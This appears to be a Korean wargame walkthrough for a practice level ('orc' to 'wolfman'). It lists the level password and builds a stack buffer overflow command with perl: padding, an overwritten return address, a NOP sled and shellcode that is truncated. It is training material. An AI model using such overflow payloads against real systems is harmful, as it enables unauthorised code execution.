level5 orc


level5 orc

ID/PASS : orc/cantata$ ls -l$ cat wolfman.c이번문제도 level4처럼 에그셀을 사용하지 못할 것 같다.level4를 풀었던 것처럼 기본적인 공격구문을 먼저 만들어보자 변수를 위한 공간이 40만큼이었으므로 SFP(4)를 더해주면 44까지 가비지값을 넣으면 48만큼 넣어줘야 될 것 같다.$ ./wolfman `perl -e 'print "A"x44,"\xbf"x4'`세그먼트 에러가 나는것을 확인할 수 있다.앞에 소스코드를 조금 수정하여 처음시작하는 AAAA부분에 주소값을 구한다.$ vi wolfman.c./wolfmaa `perl -e 'print "A"x44,"\x90\xfa\xff\xbf","\x90"x100,"\x31\xc0\x31\..........



원문링크 : level5 orc